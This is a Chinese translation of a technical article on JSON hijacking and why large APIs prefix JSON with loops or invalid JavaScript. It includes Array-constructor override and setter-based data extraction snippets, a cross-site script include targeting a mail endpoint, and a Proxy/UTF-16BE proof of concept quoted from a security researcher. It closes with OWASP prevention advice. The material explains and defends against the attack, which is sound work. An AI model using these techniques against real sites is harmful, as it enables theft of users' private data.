写点什么

你知道为什么 Facebook 的 API 以一个循环作为开头吗?

  • 2018-11-26
  • 本文字数:2417 字

    阅读完需:约 8 分钟

你知道为什么Facebook的API以一个循环作为开头吗?

如果你有在浏览器中查看过发给大公司 API 的请求,你可能会注意到,JSON 前面会有一些奇怪的 JavaScript:



为什么他们会用这几个字节来让 JSON 失效?

为了保护你的数据

如果没有这些字节,那么有可能任何网站都可以访问这些数据。


这个漏洞被称为JSON劫持,也就是网站可以从这些 API 中提取 JSON 数据。

起源

在 JavaScript 1.5 及更早版本中,可以覆盖原始类型对象的构造函数,并使用括号调用覆盖的版本。


你可以这样:


function Array(){    alert('You created an array!');}var x = [1,2,3];
复制代码


这样就会弹出 alert!


使用以下脚本替换 var x,攻击者就可以阅读你的电子邮件!


这是通过在加载外部脚本之前覆盖 Array 构造函数来实现的。


<script src="https://gmail.com/messages"></script>
复制代码

数据提取

即使你重载了构造函数,仍然可以通过 this 来访问它。


这是一个代码片段,它将 alert 数组的所有数据:


function Array() {  var that = this;  var index = 0;  // Populating the array with setters, which dump the value when called  var valueExtractor = function(value) {    // Alert the value    alert(value);    // Set the next index to use this method as well    that.__defineSetter__(index.toString(),valueExtractor );    index++;  };  // Set the setter for item 0  that.__defineSetter__(index.toString(),valueExtractor );  index++;}
复制代码


在创建数组后,它们的值将被 alert 出来!


ECMAScript 4 提案中已修复了这个问题,我们现在无法再覆盖大多数原始类型的原型,例如 Object 和 Array。


尽管 ES4 从未发布,但主要浏览器在发现后很快就修复了这个漏洞。


在今天的 JavaScript 中,你仍然可以使用类似的行为,但它受限于你创建的变量,或者不使用括号创建的对象。


这是之前的一个修订版本:


// Making an arrayconst x = [];
// Making the overriden methodsx.copy = [];const extractor = (v) => { // Keeping the value in a different array x.copy.push(v); // Setting the extractor for the next value const currentIndex = x.copy.length; x.__defineSetter__(currentIndex, extractor); x.__defineGetter__(currentIndex, ()=>x.copy[currentIndex]); // Logging the value console.log('Extracted value', v);};
// Assigning the setter on index 0 x.__defineSetter__(0, extractor);x.__defineGetter__(0, ()=>x.copy[0]);
// Using the array as usual
x[0] = 'zero';x[1] = 'one';
console.log(x[0]);console.log(x[1]);
复制代码


这是一个使用 Array 关键字创建数组的版本:


function Array(){    console.log(arguments);}
Array("secret","values");
复制代码


如你所见,你添加到数组中的数据被记录下来,但功能保持不变!


修复方案并没有阻止使用 Array 来创建数组,而是在使用括号创建对象时强制使用原生实现,而不是自定义函数。


这意味着我们仍然可以创建一个 Array 函数,但不能与方括号([1,2,3])一起使用。


如果我们使用 x = new Array(1,2,3)或 x = Array(1,2,3),它仍将被调用,但不会给 JSON 劫持留下可趁之机。

新的变体

我们知道旧版本的浏览器很容易受到这个漏洞的攻击,那么现在呢?


随着最近 EcmaScript 6 的发布,添加了很多新功能,例如 Proxies!


来自 Portswigger 的 Gareth Heyes 在博客上介绍了这个漏洞的新变体,它仍然允许我们从 JSON 端点窃取数据!


通过使用 Proxies(而不是 Accessor),我们可以窃取到任意创建的变量,无论它的名称是什么。


它可以像 Accessor 一样,但可以访问任意可访问或写入属性。


使用这个和另外一个技巧,就可以再次窃取数据!


UTF-16BE 是一个多字节字符集,一个字符由两个字节组成。例如,如果你的脚本以[“作为开头,它将被视为字符 0x5b22 而不是 0x5b 0x22。0x5b22 恰好是一个有效的 JavaScript 变量=)。


使用这个脚本:


<script charset="UTF-16BE" src="external-script-with-array-literal"></script>
复制代码


通过使用这个脚本中的一些受控数据和移位脚本,我们就可以再次渗透数据!


这是 Gareth 最后的 POC,摘自他的博文:


<!doctype HTML><script>Object.setPrototypeOf(__proto__,new Proxy(__proto__,{    has:function(target,name){        alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));    }}));</script><script charset="UTF-16BE" src="external-script-with-array-literal"></script><!-- script contains the following response: ["supersecret","<?php echo chr(0)?>aa"] -->
复制代码


我不会深入解释这个方法,而是建议你阅读他的帖子,以获取更多信息。

预防

这是 OWASP 的官方建议


  • 使用 CSRF 保护,如果不存在安全标头或 csrf 令牌,就不返回数据,以防止被利用。

  • 始终将 JSON 作为对象返回。


最后的解决方案很有趣。


在 Firefox 和 IE 中,这个是有效的:


x = [{"key":"value"}]x = {"key":"value"}[{"key":"value"}]{key: "value"}
复制代码


但这样不行:


{"key":"value"}
复制代码


它之所以无效是因为 Firefox 和 IE 认为括号是块语句的开头,而不是创建对象。


没有引号的符号{key:“value”}被视为标签,值被视为一个语句。

结论

虽然这些东西在今天可能是无效的,但我们永远不会知道明天将会带来什么新的错误,因此我们仍应尽力阻止 API 被利用。


如果我们把这个StackOverflow答案视为理所当然,我们就很容易受到现代变体的影响,因此仍然可能被黑客入侵。


谷歌和 Facebook 在 JSON 数据之前添加无效的 JavaScript 或无限循环,OWASP 也列出了其他替代方案。

英文原文

https://dev.to/antogarand/why-facebooks-api-starts-with-a-for-loop-1eob

活动推荐


12 月 7 日北京 ArchSummit 全球架构师峰会上,来自 Google、Netflix、BAT、滴滴、美团 等公司技术讲师齐聚一堂,共同分享“微服务、金融技术、前端黑科技、智能运维等相关经验与实践。详情点击 https://bj2018.archsummit.com/schedule


2018-11-26 14:433458
用户头像

发布了 731 篇内容, 共 462.0 次阅读, 收获喜欢 2004 次。

关注

评论 1 条评论

发布
暂无评论
发现更多内容

Web安全之Java反序列漏洞总结

网络安全学海

网络安全 安全 信息安全 渗透测试 漏洞挖掘

转行前端是自学好还是培训班好

小谷哥

ArkUI路由跳转概览

坚果

HarmonyOS OpenHarmony 7月月更

Docker入门(一)

神农写代码

Python|制作词云,改变词云字体颜色

AXYZdong

Python 7月月更

Kubernetes入坑篇

青柚1943

Kubernetes DevOps minikube

2022-07微软漏洞通告

火绒安全

microsoft 安全 漏洞

密码密钥硬编码检查

华为云开发者联盟

安全 后端 密钥

还不了解进程吗?就这一篇!

C++后台开发

网络编程 进程 通信 linux开发 C++开发

Python3详细的数组基础操作-入门必备[列表的操作]

迷彩

数组 Python基础 列表 7月月更

用 AnimatedBuilder 分离组件和动画,实现动效复用

岛上码农

flutter ios 安卓 移动端开发 7月月更

不要小看WebSocket!长连接、有状态、双向、全双工都是王炸技能

wljslmz

HTTP websocket 7月月更

拔掉电源会怎样?GaussDB(for Redis)双活让你有备无患

华为云开发者联盟

数据库 后端

GPU资源池的虚拟化路径

Finovy Cloud

GPU服务器 显卡、gpu

在线多行文本批量正则替换添加后缀工具

入门小站

工具

AIOps落地五大原则(三):架构路线

BizSeer必示科技

人工智能 AIOPS

Chrome实现自动化测试:录制回放网页动作

和牛

测试

从全球价值链视角看,京东云数智供应链对未来经济有何影响?

脑极体

在线SQL转XML工具

入门小站

工具

融云 x 天聊,用声音打造「无压力社交」栖息地

融云 RongCloud

《Linux设备驱动开发详解》读书笔记

贾献华

7月月更

StarRocks 成都见!企业如何打造极速统一的数据分析新范式,助力业务全方位升级

StarRocks

数据库 大数据 数据分析 国产数据库

泰凌微电子B91通用开发板合入OpenHarmony社区主干

科技汇

日志黑名单,真的能帮你省钱!

观测云

我用开天平台做了一个城市防疫政策查询系统,你不试试?

华为云开发者联盟

开发 华为云 开天aPaaS 开天 城市防疫政策

开鸿智谷 Niobe 407 正式并入OpenHarmony代码主干

科技汇

Java 集合

Damon

7月月更

ECCV2022 | 腾讯优图29篇论文入选,含人脸安全、图像分割、目标检测等多个研究方向

科技热闻

Python图像处理丨图像腐蚀与图像膨胀

华为云开发者联盟

Python 软件 开发 图像处理

本周四晚19:00知识赋能第3期直播丨OpenHarmony智能家居项目之控制面板功能实现

OpenHarmony开发者

Open Harmony

你知道为什么Facebook的API以一个循环作为开头吗?_编程语言_Antony Garand_InfoQ精选文章